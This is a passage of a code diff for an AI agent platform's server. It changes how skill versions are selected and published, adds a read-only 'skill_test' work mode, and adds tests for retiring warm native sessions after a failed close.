longer permitted.", { + configurationIncomplete: { reason: "skill_unavailable", actionUrl: "/skills" }, + }); + } + const desiredKeys = hasStoredVersions + ? Object.keys(storedVersions) + : agent.adapterType === "paperclip_runner" + ? resolvePaperclipDesiredSkillNames(effectiveResolvedConfig, available) + : resolveLegacyPaperclipDesiredSkillNames(effectiveResolvedConfig, available); + const selectedKeys = new Set(desiredKeys.filter(key => availableKeys.has(key))); + const resolved = available.filter(entry => selectedKeys.has(entry.key)); + skillDeliveryConfig = writePaperclipSkillSyncPreference(effectiveResolvedConfig, + resolved.map(entry => ({ key: entry.key, versionId: entry.versionId ?? null }))); + if (!hasStoredVersions) { + const skillVersions = Object.fromEntries(resolved.map(entry => [entry.key, entry.versionId ?? entry.currentVersionId ?? null])); + context.skillVersions = skillVersions; + context.skillSelectionSnapshot = true; + await db.update(heartbeatRuns).set({ contextSnapshot: sql`coalesce(${heartbeatRuns.contextSnapshot}, '{}'::jsonb) || ${JSON.stringify({ skillVersions, skillSelectionSnapshot: true, ...(shadowedSkills?.length ? { shadowedSkills } : {}) })}::jsonb` }).where(eq(heartbeatRuns.id, run.id)); + } + return selectedKeys; + }, }, async entries => { - const available = hasStoredVersions ? entries.filter(entry => Object.prototype.hasOwnProperty.call(storedVersions, entry.key)) : entries; - const availableKeys = new Set(available.map(entry => entry.key)); - const desiredKeys = hasStoredVersions && run.contextSnapshot?.skillSelectionSnapshot === true - ? Object.keys(storedVersions) - : agent.adapterType === "paperclip_runner" - ? resolvePaperclipDesiredSkillNames(effectiveResolvedConfig, available) - : resolveLegacyPaperclipDesiredSkillNames(effectiveResolvedConfig, available); - const selectedKeys = new Set(desiredKeys.filter(key => availableKeys.has(key))); - const resolved = available.filter(entry => selectedKeys.has(entry.key)); - // Optional assignments can outlive project membership. Drop inaccessible - // assignments from delivery; explicit task mentions remain errors below. - skillDeliveryConfig = writePaperclipSkillSyncPreference(effectiveResolvedConfig, - resolved.map(entry => ({ key: entry.key, versionId: entry.versionId ?? null }))); for (const key of [...runScopedMentionedSkillKeys.filter(key => !shadowedSkills?.some(skill => skill.key === key)), ...(hasStoredVersions ? [] : environmentSkills)]) { - const entry = resolved.find(candidate => candidate.key === key); + const entry = entries.find(candidate => candidate.key === key); if (!entry || entry.sourceStatus === "missing") { throw new ConfigurationIncompleteFailure("A referenced skill is unavailable. Restore its installed version or update the task's skill reference.", { configurationIncomplete: { reason: "skill_unavailable", skillKey: key, actionUrl: "/skills" }, }); } } - if (!hasStoredVersions) { - const skillVersions = Object.fromEntries(resolved.map(entry => [entry.key, entry.versionId ?? entry.currentVersionId ?? null])); - context.skillVersions = skillVersions; - context.skillSelectionSnapshot = true; - await db.update(heartbeatRuns).set({ contextSnapshot: sql`coalesce(${heartbeatRuns.contextSnapshot}, '{}'::jsonb) || ${JSON.stringify({ skillVersions, skillSelectionSnapshot: true, ...(shadowedSkills?.length ? { shadowedSkills } : {}) })}::jsonb` }).where(eq(heartbeatRuns.id, run.id)); - } - return resolved; + return entries; })); } catch (error) { if (agent.adapterType === "paperclip_runner") { diff --git a/server/src/services/heartbeat/run-preparation.ts b/server/src/services/heartbeat/run-preparation.ts index 2b8c3f5f701..bf288599a51 100644 --- a/server/src/services/heartbeat/run-preparation.ts +++ b/server/src/services/heartbeat/run-preparation.ts @@ -2959,6 +2959,7 @@ export function createHeartbeatRunPreparation(db: Db) { .select({ testRunId: companySkillTestRuns.id, skillId: companySkillTestRuns.skillId, + skillKey: companySkillsTable.key, inputId: companySkillTestRuns.inputId, skillVersionId: companySkillTestRuns.skillVersionId, outputDocumentKey: companySkillTestRuns.outputDocumentKey, @@ -2972,8 +2973,13 @@ export function createHeartbeatRunPreparation(db: Db) { and( eq(companySkillVersions.id, companySkillTestRuns.skillVersionId), eq(companySkillVersions.companyId, companySkillTestRuns.companyId), + eq(companySkillVersions.companySkillId, companySkillTestRuns.skillId), ), ) + .innerJoin(companySkillsTable, and( + eq(companySkillsTable.id, companySkillTestRuns.skillId), + eq(companySkillsTable.companyId, companySkillTestRuns.companyId), + )) .where( and( eq(companySkillTestRuns.companyId, companyId), @@ -3002,6 +3008,7 @@ export function createHeartbeatRunPreparation(db: Db) { return { testRunId: row.testRunId, skillId: row.skillId, + skillKey: row.skillKey, inputId: row.inputId ?? null, skillVersionId: row.skillVersionId, revisionNumber: row.revisionNumber, diff --git a/server/src/services/heartbeat/task-context.ts b/server/src/services/heartbeat/task-context.ts index fa8a56cdc27..85bdd65ca61 100644 --- a/server/src/services/heartbeat/task-context.ts +++ b/server/src/services/heartbeat/task-context.ts @@ -15,7 +15,7 @@ import { getTaskPlanContext } from "../task-plan-context.js"; import { caseExecutionMarkdown, getCaseExecutionContext } from "../case-context.js"; import type { TrustPresetResolution } from "../trust-preset-resolver.js"; import { liveVoiceExecutionGuidance } from "../voice/voice-execution-guidance.js"; -import { buildPaperclipWakePayload, PAPERCLIP_WAKE_PAYLOAD_KEY, type createHeartbeatRunPreparation } from "./run-preparation.js"; +import { buildPaperclipWakePayload, ConfigurationIncompleteFailure, PAPERCLIP_WAKE_PAYLOAD_KEY, type createHeartbeatRunPreparation } from "./run-preparation.js"; import { buildPaperclipTaskMarkdown } from "./task-markdown.js"; import { workspacePreferenceService } from "../workspace-preferences.js"; @@ -92,10 +92,16 @@ export async function prepareHeartbeatTaskContext(db: Db, input: HeartbeatTaskCo ? { kind: "skill_test", issueId: issueRef.id } : { kind: "standard" }; } + const isSkillTest = parseObject(context.paperclipAgentJwtScope).kind === "skill_test"; const pinnedSkillTestContext = - issueRef?.workMode === "skill_test" + isSkillTest && issueRef ? await getPinnedSkillTestContext(agent.companyId, issueRef.id) : null; + if (isSkillTest && !pinnedSkillTestContext) { + throw new ConfigurationIncompleteFailure("The skill test's saved version is unavailable.", { + configurationIncomplete: { reason: "skill_unavailable", actionUrl: "/skills" }, + }); + } if (pinnedSkillTestContext) { context.paperclipSkillTest = { ...pinnedSkillTestContext, @@ -406,5 +412,7 @@ export async function prepareHeartbeatTaskContext(db: Db, input: HeartbeatTaskCo } else { delete context.paperclipTurnContext; } - return { continuationSummary, executionContinuation, paperclipWakePayload, safeWakeComments, safeWakeCommentContext }; + const pinnedSkillTest = pinnedSkillTestContext + ? { key: pinnedSkillTestContext.skillKey, versionId: pinnedSkillTestContext.skillVersionId } : null; + return { continuationSummary, executionContinuation, paperclipWakePayload, safeWakeComments, safeWakeCommentContext, pinnedSkillTest }; } diff --git a/server/src/services/idle-sleep-safety.ts b/server/src/services/idle-sleep-safety.ts index a43a3b2f089..c0d58a64bdd 100644 --- a/server/src/services/idle-sleep-safety.ts +++ b/server/src/services/idle-sleep-safety.ts @@ -54,6 +54,7 @@ const WORK_CHECKS = [ state NOT IN ('saved', 'unchanged', 'resolved', 'unavailable', 'conflict') OR process_stopped_at IS NULL OR next_attempt_at IS NOT NULL OR receipt ? 'baseline' OR receipt->>'cleanupPending' = 'true'`, + `SELECT 1 FROM sandbox_creation_operations WHERE state = 'pending'`, `SELECT 1 FROM budget_reservations WHERE state NOT IN ('settled', 'released')`, `SELECT 1 FROM budget_policies WHERE enforcement_version > enforcement_delivered_version`, `SELECT 1 FROM agents WHERE lifecycle_state IN diff --git a/server/src/services/managed-skill-content.ts b/server/src/services/managed-skill-content.ts new file mode 100644 index 00000000000..2adad24b7ed --- /dev/null +++ b/server/src/services/managed-skill-content.ts @@ -0,0 +1,157 @@ +import { and, eq, sql } from "drizzle-orm"; +import type { StorageService } from "../storage/index.js"; +import { companies, companySkills, companySkillVersions, companySkillRepositorySnapshots, type Db } from "@paperclipai/db"; +import type { CompanySkillVersionFileInventoryEntry } from "@paperclipai/shared"; +import { conflict, notFound, unprocessable } from "../errors.js"; +import { DELIVERY_QUEUES, notifyDeliveryWork } from "./delivery-work-notifications.js"; +import { notifySkillVersionRetention } from "./skill-version-retention-notifications.js"; +import { skillPackageStore, skillPackageStorageEnabled, skillVersionFileMap, skillVersionMetadataColumns, type StoredSkillVersion } from "./skill-package-store.js"; +import { assertSkillSnapshotPath, MAX_SKILL_SNAPSHOT_BYTES, MAX_SKILL_SNAPSHOT_FILES, skillFileBytes, skillSnapshotHash } from "./skill-snapshot.js"; + +export type SkillContentTransaction = Parameters[0]>[0]; +export type SkillContentRow = typeof companySkills.$inferSelect; +const contentMetadataFields = ["name", "description", "iconUrl", "color", "tagline", "authorName", "homepageUrl", "categories", "metadata"] as const; +export type SkillContentActor = { type: "agent" | "user" | "system"; agentId?: string | null; userId?: string | null }; +export type PreparedSkillContent = { + files: CompanySkillVersionFileInventoryEntry[]; + packageSnapshotId: string | null; + packageFileMap: (typeof companySkillVersions.$inferInsert)["packageFileMap"]; + implicitFileMap: (typeof companySkillVersions.$inferInsert)["packageFileMap"]; + contentHash: string; +}; +export type SkillContentPublication = { + expectedVersionId?: string | null; + label?: string | null; + reuseCurrentVersion?: boolean; + beforeLock?: (tx: SkillContentTransaction) => Promise; + validate?: (tx: SkillContentTransaction) => Promise; + afterPublish?: (tx: SkillContentTransaction, skill: SkillContentRow, version: StoredSkillVersion) => Promise; +}; + +export function managedSkillContent(db: Db, packageDb: Db = db, storage?: StorageService) { + const packages = skillPackageStore(packageDb, storage); + + async function read(companyId: string, skillId: string, versionId: string) { + const version = await packages.version(companyId, skillId, versionId); + if (!version) throw notFound("Skill version not found"); + return { version, files: await packages.versionFiles(version) }; + } + + async function prepare(companyId: string, files: CompanySkillVersionFileInventoryEntry[], signal?: AbortSignal): Promise { + signal?.throwIfAborted(); + const paths = new Set(); + let bytes = 0; + for (const file of files) { + try { assertSkillSnapshotPath(file.path); } catch { throw unprocessable("Invalid skill file path."); } + if (paths.has(file.path)) throw unprocessable("Duplicate skill file path."); + paths.add(file.path); + bytes += skillFileBytes(file).length; + } + if (files.length > MAX_SKILL_SNAPSHOT_FILES || bytes > MAX_SKILL_SNAPSHOT_BYTES) { + throw unprocessable("Skill exceeds package size limits."); + } + if (!files.some(file => file.path === "SKILL.md" && file.encoding !== "base64")) { + throw unprocessable("A skill must contain a UTF-8 SKILL.md file."); + } + const packageSnapshotId = skillPackageStorageEnabled() ? await packages.prepare(companyId, files, false, signal) : null; + if (packageSnapshotId && !await packages.verifyDurable(companyId, packageSnapshotId, signal)) { + throw unprocessable("Skill package is not durably available."); + } + return { files, packageSnapshotId, contentHash: skillSnapshotHash(files), + packageFileMap: packageSnapshotId ? skillVersionFileMap(files) : null, + implicitFileMap: packageSnapshotId ? skillVersionFileMap((await packages.manifest(companyId, packageSnapshotId, signal)).files) : null }; + } + + function fileMapIdentity(files: PreparedSkillContent["packageFileMap"]) { + return JSON.stringify(files?.map(file => ({ path: file.path, sourcePath: file.sourcePath, + kind: file.kind, encoding: file.encoding ?? "utf8" })).sort((left, right) => left.path.localeCompare(right.path))); + } + + async function append(tx: SkillContentTransaction, skill: SkillContentRow, candidate: PreparedSkillContent, + actor: SkillContentActor | null, options: SkillContentPublication, fields: Partial = {}) { + await notifyDeliveryWork(tx, DELIVERY_QUEUES.skillPackages); + await notifySkillVersionRetention(tx, skill.companyId); + if (candidate.packageSnapshotId) { + const [receipt] = await tx.select({ storage: companySkillRepositorySnapshots.storage }) + .from(companySkillRepositorySnapshots).where(and(eq(companySkillRepositorySnapshots.companyId, skill.companyId), + eq(companySkillRepositorySnapshots.id, candidate.packageSnapshotId))).for("update"); + if (!receipt?.storage) throw conflict("Skill package changed during publication. Retry the operation."); + } + if (options.reuseCurrentVersion && skill.currentVersionId && candidate.packageSnapshotId) { + const [version] = await tx.select(skillVersionMetadataColumns).from(companySkillVersions).where(and( + eq(companySkillVersions.companyId, skill.companyId), eq(companySkillVersions.companySkillId, skill.id), + eq(companySkillVersions.id, skill.currentVersionId))); + if (version && !version.repositorySnapshotId && version.packageSnapshotId === candidate.packageSnapshotId + && fileMapIdentity(version.packageFileMap ?? candidate.implicitFileMap) === fileMapIdentity(candidate.packageFileMap)) { + if (!version.packageFileMap) { + await tx.update(companySkillVersions).set({ packageFileMap: candidate.packageFileMap }) + .where(and(eq(companySkillVersions.companyId, skill.companyId), eq(companySkillVersions.id, version.id))); + version.packageFileMap = candidate.packageFileMap ?? null; + } + const [saved] = await tx.update(companySkills).set({ ...fields, updatedAt: new Date() }) + .where(and(eq(companySkills.companyId, skill.companyId), eq(companySkills.id, skill.id))).returning(); + await options.afterPublish?.(tx, saved!, version); + return { skill: saved!, version }; + } + } + const [revision] = await tx.select({ next: sql`coalesce(max(${companySkillVersions.revisionNumber}), 0) + 1` }) + .from(companySkillVersions).where(and(eq(companySkillVersions.companyId, skill.companyId), eq(companySkillVersions.companySkillId, skill.id))); + const [version] = await tx.insert(companySkillVersions).values({ + companyId: skill.companyId, companySkillId: skill.id, revisionNumber: Number(revision!.next), + label: options.label ?? null, packageSnapshotId: candidate.packageSnapshotId, packageFileMap: candidate.packageFileMap, + fileInventory: candidate.packageSnapshotId ? [] : candidate.files, + migrationAt: candidate.packageSnapshotId ? null : new Date(), + authorAgentId: actor?.type === "agent" ? actor.agentId : null, + authorUserId: actor?.type === "user" ? actor.userId : null, + }).returning(); + const [saved] = await tx.update(companySkills).set({ ...fields, currentVersionId: version!.id, updatedAt: new Date() }) + .where(and(eq(companySkills.companyId, skill.companyId), eq(companySkills.id, skill.id))).returning(); + await options.afterPublish?.(tx, saved!, version!); + return { skill: saved!, version: version! }; + } + + async function publish(base: Pick & { accessSourceId?: string | null }, candidate: PreparedSkillContent, + fields: Partial, actor: SkillContentActor | null = null, + options: SkillContentPublication = {}) { + if (options.expectedVersionId !== undefined && options.expectedVersionId !== base.currentVersionId) { + throw conflict("Skill version changed. Read the current version before retrying."); + } + return db.transaction(async tx => { + await options.beforeLock?.(tx); + for (const slug of [...new Set([base.slug, fields.slug ?? base.slug])].sort()) { + await tx.execute(sql`select pg_advisory_xact_lock(hashtextextended(${`${base.companyId}:${slug}`}, 0))`); + } + const [current] = await tx.select().from(companySkills).where(and(eq(companySkills.companyId, base.companyId), eq(companySkills.id, base.id))).for("update"); + if (!current) throw notFound("Skill not found"); + if (current.currentVersionId !== base.currentVersionId || current.key !== base.key || current.sourceType !== base.sourceType + || current.accessSourceId !== (base.accessSourceId ?? null)) { + throw conflict("Skill version changed. Read the current version before retrying."); + } + if (contentMetadataFields.some(field => Object.hasOwn(fields, field) + && JSON.stringify(current[field]) !== JSON.stringify(base[field]))) { + throw conflict("Skill metadata changed. Read the current skill before retrying."); + } + await options.validate?.(tx); + return append(tx, current, candidate, actor, options, fields); + }); + } + + async function create(values: typeof companySkills.$inferInsert, candidate: PreparedSkillContent, + actor: SkillContentActor | null = null, options: SkillContentPublication = {}) { + return db.transaction(async tx => { + const [company] = await tx.select({ id: companies.id }).from(companies) + .where(eq(companies.id, values.companyId)).for("share"); + if (!company) throw notFound("Company not found"); + await options.beforeLock?.(tx); + await tx.execute(sql`select pg_advisory_xact_lock(hashtextextended(${`${values.companyId}:${values.slug}`}, 0))`); + await options.validate?.(tx); + const [existing] = await tx.select({ id: companySkills.id }).from(companySkills) + .where(and(eq(companySkills.companyId, values.companyId), eq(companySkills.key, values.key))); + if (existing) throw conflict(`A company skill with slug "${values.slug}" already exists.`); + const [skill] = await tx.insert(companySkills).values(values).returning(); + return append(tx, skill!, candidate, actor, options); + }); + } + + return { read, prepare, publish, create }; +} diff --git a/server/src/services/native-runtime/assigned-mcp-tools.test.ts b/server/src/services/native-runtime/assigned-mcp-tools.test.ts index a762305af1f..a5708ba1668 100644 --- a/server/src/services/native-runtime/assigned-mcp-tools.test.ts +++ b/server/src/services/native-runtime/assigned-mcp-tools.test.ts @@ -402,7 +402,7 @@ describe("assigned MCP runner tools", () => { expect(f.executeTool).not.toHaveBeenCalled(); }); - it.each(["planning", "ask"] as const)("exposes and permits only read tools in %s mode", async workMode => { + it.each(["planning", "ask", "skill_test"] as const)("exposes and permits only read tools in %s mode", async workMode => { const f = fixture([descriptor("read"), descriptor("remember", "write"), descriptor("forget", "destructive")]); const standard = await createAssignedMcpTools(f); const restricted = await createAssignedMcpTools({ ...f, workMode }); @@ -423,7 +423,7 @@ describe("assigned MCP runner tools", () => { for (const [call] of f.executeTool.mock.calls) expect(call).not.toHaveProperty("approvedActionRequestId"); }); - it.each(["planning", "ask"] as const)("enforces fresh %s mode without relaxing the pinned mode", async currentMode => { + it.each(["planning", "ask", "skill_test"] as const)("enforces fresh %s mode without relaxing the pinned mode", async currentMode => { const f = fixture([descriptor("read"), descriptor("remember", "write")]); const standard = await createAssignedMcpTools(f); const restricted = await createAssignedMcpTools({ ...f, workMode: currentMode }); diff --git a/server/src/services/native-runtime/assigned-mcp-tools.ts b/server/src/services/native-runtime/assigned-mcp-tools.ts index e2bbdc71910..00473c3b5d5 100644 --- a/server/src/services/native-runtime/assigned-mcp-tools.ts +++ b/server/src/services/native-runtime/assigned-mcp-tools.ts @@ -2,7 +2,7 @@ import { createHash } from "node:crypto"; import type { Db } from "@paperclipai/db"; import { deduplicateToolDescriptors, ToolGatewayHttpError, type ToolGatewayDescriptor, type ToolGatewayService } from "../tool-gateway.js"; -type WorkMode = "standard" | "planning" | "ask"; +type WorkMode = "standard" | "planning" | "ask" | "skill_test"; type ToolDefinition = Record; const SEARCH_TOOL = "paperclip_search_assigned_tools"; diff --git a/server/src/services/native-runtime/native-case-tools.integration.test.ts b/server/src/services/native-runtime/native-case-tools.integration.test.ts index be5d3dd8e43..b191a4091d0 100644 --- a/server/src/services/native-runtime/native-case-tools.integration.test.ts +++ b/server/src/services/native-runtime/native-case-tools.integration.test.ts @@ -516,7 +516,7 @@ describe("native case tools through authenticated production routes", () => { expect(review.definitions().map(tool => tool.name)).not.toContain("read_case"); await expect(review.execute({ tool: "update_case", callId: randomUUID(), arguments: { idempotencyKey: "review", title: "No" } })).rejects.toThrow("may only inspect"); await server.db.update(issues).set({ workMode: "skill_test" }).where(eq(issues.id, f.issueId)); - await expect(f.call("read_case")).rejects.toThrow("mode_denied"); + await expect(f.call("read_case")).rejects.toMatchObject({ status: 403 }); await server.db.update(issues).set({ workMode: "standard" }).where(eq(issues.id, f.issueId)); await instanceSettingsService(server.db).updateExperimental({ enableCases: false }); try { await expect(f.call("read_case")).rejects.toThrow("Cases are disabled"); } diff --git a/server/src/services/native-runtime/native-execution-input.test.ts b/server/src/services/native-runtime/native-execution-input.test.ts index 588b8fbe663..af389f7e866 100644 --- a/server/src/services/native-runtime/native-execution-input.test.ts +++ b/server/src/services/native-runtime/native-execution-input.test.ts @@ -9,7 +9,7 @@ import { nativeRuntimeContextFixture } from "./runtime-context.test-fixture.js"; import { buildNativeModelEnvelope, canonicalNativeRuntimeContextDigest } from "../../vendor/paperclip-runner/index.js"; describe("LCA-05 explicit native work mode", () => { - it.each(["standard", "planning", "ask"])("title and description cannot override %s mode", (workMode) => { + it.each(["standard", "planning", "ask", "skill_test"])("title and description cannot override %s mode", (workMode) => { for (const text of ["Inspect files", "Making a plan", "Create a report", "Research proposal", "Implement now; no plan needed"]) { const input = buildNativeExecutionInput({ companyId: "10000000-0000-4000-8000-000000000001", diff --git a/server/src/services/native-runtime/native-execution-input.ts b/server/src/services/native-runtime/native-execution-input.ts index 3457b5a6cf6..f613d644a97 100644 --- a/server/src/services/native-runtime/native-execution-input.ts +++ b/server/src/services/native-runtime/native-execution-input.ts @@ -144,8 +144,8 @@ export function buildNativeExecutionInput(input: BuildNativeExecutionInput & { p export function buildNativeExecutionInput(input: BuildNativeExecutionInput & { provider?: Exclude }): NativeExecutionInputV5 | NativeExecutionInputV7 | NativeExecutionInputV9 | NativeExecutionInputV10; export function buildNativeExecutionInput(input: BuildNativeExecutionInput): NativeExecutionInputV5 | NativeExecutionInputV6 | NativeExecutionInputV7 | NativeExecutionInputV8 | NativeExecutionInputV9 | NativeExecutionInputV10; export function buildNativeExecutionInput(input: BuildNativeExecutionInput): NativeExecutionInputV5 | NativeExecutionInputV6 | NativeExecutionInputV7 | NativeExecutionInputV8 | NativeExecutionInputV9 | NativeExecutionInputV10 { - if (input.issue.workMode !== "standard" && input.issue.workMode !== "planning" && input.issue.workMode !== "ask") { - throw new Error("native_execution_input_invalid: issue work mode must be standard, planning, or ask"); + if (input.issue.workMode !== "standard" && input.issue.workMode !== "planning" && input.issue.workMode !== "ask" && input.issue.workMode !== "skill_test") { + throw new Error("native_execution_input_invalid: issue work mode must be standard, planning, ask, or skill_test"); } const mode = resolvePaperclipRunnerCursorMode(input.provider, input.acpxAgent, input.acpxSessionMode); const piThinkingLevel = resolvePaperclipRunnerPiThinkingLevel(input.provider, input.acpxAgent, input.piThinkingLevel); diff --git a/server/src/services/native-runtime/native-session-executor.test.ts b/server/src/services/native-runtime/native-session-executor.test.ts index 3cedb542b5b..12c3d8eb3c3 100644 --- a/server/src/services/native-runtime/native-session-executor.test.ts +++ b/server/src/services/native-runtime/native-session-executor.test.ts @@ -76,6 +76,7 @@ import { agentInstructionWorkingCopies } from "@paperclipai/db"; import * as noLaunchProofModule from "./native-maintenance-no-launch.js"; import { NativeSessionCleanupQuarantinedError, + NativeSessionCloseUnrecoverableError, NativeProviderTerminalFailure, NativeSessionProtocolIntegrityError, } from "../../vendor/paperclip-runner/index.js"; @@ -9206,6 +9207,102 @@ describe("native warm session supervision", () => { await closeIdleWarmNativeSessionsForRestart(); }); + it.each(["retired", "unconfirmed", "other-error", "collection-failed", "same-session", "same-id-provider", "unbound", "pending-semantic"] as const)( + "handles a permanently rejected plugin close during reset (%s)", async mode => { + const { base, next, run } = fixture(`identity-poisoned-close-${mode}`); + const identity = { runnerInstanceId: "runner", environmentLeaseId: "lease", runId: base.binding.runId, + normalizedSessionId: base.session.normalizedSessionId!, turnId: "turn", itemId: "item" }; + let stopped = false; + const task = vi.fn(async (operation: any) => { + if (operation.kind === "describe") return { kind: "description", taskId: "old-task", launchPreparationVersion: 1, + projectAuthCheckVersion: 1, runner: { version: "fixture", digest: `sha256:${"a".repeat(64)}` } }; + if (operation.kind === "stop") stopped = true; + if (operation.kind === "status") return { kind: "status", taskId: "old-task", phase: stopped ? "cancelled" : "running", executionStopped: stopped }; + if (operation.kind === "complete" && mode === "unconfirmed") throw new Error("handoff unconfirmed"); + return { kind: "accepted", taskId: "old-task" }; + }); + const createOwner = pluginTaskRuntime.createPluginRunnerTaskOwner; + let owner!: ReturnType; + const ownerFactory = vi.spyOn(pluginTaskRuntime, "createPluginRunnerTaskOwner").mockImplementation(input => { + owner = createOwner({ ...input, adoptIdentity: identity }); + return owner; + }); + onTestFinished(() => ownerFactory.mockRestore()); + // Bind through the production backend so the receipt belongs to this + // exact session object. The task boundary supplies the stop proof. + const backend = await createRunnerdBackend({ db: leaseDb(base), + execution: { ...base, session: { ...base.session, lifecyclePolicy: { mode: "per_turn", idleTimeoutMs: null } } }, + runnerInstanceId: "runner", runnerIngressAuthorized: true, + runnerExecutionTarget: { kind: "remote", transport: "sandbox", remoteCwd: ".", leaseId: "lease", runnerTask: task } }); + const registration = await owner.registration({} as never, base.binding.runId); + const failure = mode === "other-error" ? new Error("controller retirement unconfirmed") : new NativeSessionCloseUnrecoverableError(undefined, mode !== "pending-semantic"); + let closePromise: Promise | undefined; + const close = vi.fn(() => closePromise ??= (async () => { + await registration.release(); + await registration.checkpoint("unsettled").catch(() => undefined); + throw failure; + })()); + const session = { close }; + if (mode !== "unbound") backend.bindManagedSession(session as never); + const collectStopped = vi.fn(async () => { + expect(owner.isRetired()).toBe(true); + if (mode === "collection-failed") throw new Error("file collection failed"); + }); + const retirementFailed = vi.fn(async () => {}); + state.execute.mockReset().mockImplementationOnce(async options => { + await options.onSession?.(session); return result; + }).mockImplementationOnce(async options => { + expect(options.existingSession).toBeUndefined(); + expect(collectStopped).toHaveBeenCalled(); + return result; + }); + try { + await executePaperclipNativeSession({ db: leaseDb(base), execution: base, runnerInstanceId: "runner", + instructionWorkingCopy: { hasChanges: async () => false, collectStopped, retirementFailed } }); + // First poison the retained owner through the real configuration + // retirement path. An explicit reset must not need a process restart. + const changed = { ...base, binding: { ...base.binding, runId: `${base.binding.runId}-changed` } }; + await expect(executePaperclipNativeSession({ db: leaseDb(changed), execution: changed, + runnerInstanceId: "runner", refreshTools: true })).rejects.toThrow(failure.message); + expect(close).toHaveBeenCalledOnce(); + expect(collectStopped).not.toHaveBeenCalled(); + expect(retirementFailed).toHaveBeenCalledOnce(); + retirementFailed.mockClear(); + const replacement = mode === "same-session" ? { ...next, session: base.session } + : mode === "same-id-provider" ? { ...next, session: base.session, + provider: { kind: "opencode" as const, model: "openai/test", permissionMode: "allow" as const } } : next; + const attempt = () => mode === "same-session" + ? executePaperclipNativeSession({ db: leaseDb(replacement), execution: replacement, runnerInstanceId: "runner", refreshTools: true }) + : run(replacement); + if (mode === "retired") { + await attempt(); + expect(state.execute).toHaveBeenCalledTimes(2); + expect(retirementFailed).not.toHaveBeenCalled(); + } else { + // Both attempts see the same rejected promise, just as the real + // transport does; no mock succeeds on the second close. + const expected = mode === "collection-failed" ? "file collection failed" : failure.message; + await expect(attempt()).rejects.toThrow(expected); + await expect(attempt()).rejects.toThrow(expected); + expect(state.execute).toHaveBeenCalledTimes(1); + if (mode !== "collection-failed") expect(collectStopped).not.toHaveBeenCalled(); + else { + collectStopped.mockResolvedValue(undefined); + await attempt(); + expect(state.execute).toHaveBeenCalledTimes(2); + } + } + expect(task.mock.calls.filter(([operation]) => operation.kind === "stop")).toHaveLength(1); + expect(task.mock.calls.some(([operation]) => operation.kind === "read_state")).toBe(false); + } finally { + collectStopped.mockResolvedValue(undefined); + close.mockResolvedValue(undefined); + await closeIdleWarmNativeSessionsForRestart(); + ownerFactory.mockRestore(); + } + }, + ); + it("retains failed retirement for retry and never launches over an uncontained owner", async () => { const { base, next, run } = fixture("identity-close-failure"); const close = vi.fn().mockRejectedValueOnce(new Error("containment unavailable")).mockResolvedValue(undefined); @@ -12713,7 +12810,7 @@ describe("runnerd provider runtime wiring", () => { const driver = { prepareLaunch: vi.fn(), runnerProcessLauncher: launcher, controlPlaneRegistration: registration }; state.toolAuthorityDefinitions.mockImplementation(async binding => binding.readRemoteTaskFile ? [{ name: "register_deliverable" }] as never : []); const readWorkspaceFile = vi.fn(async () => Buffer.from("proof")); - const owner = vi.spyOn(pluginTaskRuntime, "createPluginRunnerTaskOwner").mockReturnValue({ launcher, registration, driver, readWorkspaceFile, rebind:vi.fn() }); + const owner = vi.spyOn(pluginTaskRuntime, "createPluginRunnerTaskOwner").mockReturnValue({ launcher, registration, driver, readWorkspaceFile, isRetired: () => false, rebind:vi.fn() }); const task = vi.fn(async (operation: unknown) => { environmentTaskOperationSchema.parse(operation); return { kind: "description", launchPreparationVersion: 1, projectAuthCheckVersion: 1, ...(kind === "codex" ? { workspaceFileReadVersion: 1 } : {}), taskId: "task", runner: { version: "fixture", digest: `sha256:${"a".repeat(64)}` } }; diff --git a/server/src/services/native-runtime/native-session-executor.ts b/server/src/services/native-runtime/native-session-executor.ts index 7d9df8f9466..133ae2fc2b6 100644 --- a/server/src/services/native-runtime/native-session-executor.ts +++ b/server/src/services/native-runtime/native-session-executor.ts @@ -1,3 +1,4 @@ +import { rehydratePinnedSkillAssets } from "./runtime-context.js"; import { createNativeUsageDelivery } from "./native-usage-delivery.js"; import { createNativeTurnAccounting, nativeUsageCostUsd, nativeUsageBiller, normalizeNativeUsage, usesNativeUsageDelivery, isNativeUsageAccountingEvent } from "./native-usage-accounting.js"; export { nativeUsageCostUsd, nativeUsageBiller, normalizeNativeUsage } from "./native-usage-accounting.js"; @@ -128,6 +129,7 @@ import type { import { NativeProviderTerminalFailure, NativeSessionCleanupQuarantinedError, + NativeSessionCloseUnrecoverableError, NativeSessionProtocolIntegrityError, completeRetainedNativeSessionCleanup, completeTerminatedLocalNativeSessionCleanup, @@ -584,6 +586,7 @@ type WarmNativeSession = { configDigest: string; configuredEnvironmentDigest: string; ownerScope: string; + normalizedSessionId: string; companyId: string; environmentId: string | null; busy: boolean; @@ -592,18 +595,31 @@ type WarmNativeSession = { lastActivityAt: string; }; -async function closeWarmNativeSession(entry: WarmNativeSession, reason: string, preserveInstructionsForRunId?: string) { +async function closeWarmNativeSession(entry: WarmNativeSession, reason: string, options?: { + preserveInstructionsForRunId?: string; + discardUnsettledSession?: boolean; +}) { // Revoke before awaiting process retirement/checkpoint IO. const stopping = entry.githubAccess?.stop(); try { try { await entry.session.close({ reason }); } catch (error) { - try { await entry.instructionWorkingCopy?.retirementFailed?.(); } - catch (receiptError) { throw new AggregateError([error, receiptError], "Warm instruction retirement and receipt both failed"); } - throw error; + // A new conversation does not consume the old checkpoint. Its failed + // suspension must not poison every later reset after Launcher has proved + // that the exact task stopped and completed its credential handoff. + // Other close errors can mean controller authority is still live. + const retiredWithoutCheckpoint = options?.discardUnsettledSession === true + && error instanceof NativeSessionCloseUnrecoverableError + && error.semanticToolsSettled + && pluginTaskSessionOwners.get(entry.session)?.isRetired() === true; + if (!retiredWithoutCheckpoint) { + try { await entry.instructionWorkingCopy?.retirementFailed?.(); } + catch (receiptError) { throw new AggregateError([error, receiptError], "Warm instruction retirement and receipt both failed"); } + throw error; + } } await entry.instructionWorkingCopy?.collectStopped(); - if (entry.instructionCopy?.runId !== preserveInstructionsForRunId) await entry.instructionCopy?.collectStopped(); + if (entry.instructionCopy?.runId !== options?.preserveInstructionsForRunId) await entry.instructionCopy?.collectStopped(); } finally { await stopping; } } @@ -1918,6 +1934,7 @@ function nativeSessionOwnerScope( async function retireSupersededWarmNativeSessions( ownerScope: string, nextSessionScope: string, + nextSessionId: string, ): Promise { for (const [scope, entry] of warmNativeSessions) { if (scope === nextSessionScope || entry.ownerScope !== ownerScope) continue; @@ -1929,7 +1946,9 @@ async function retireSupersededWarmNativeSessions( entry.busy = true; 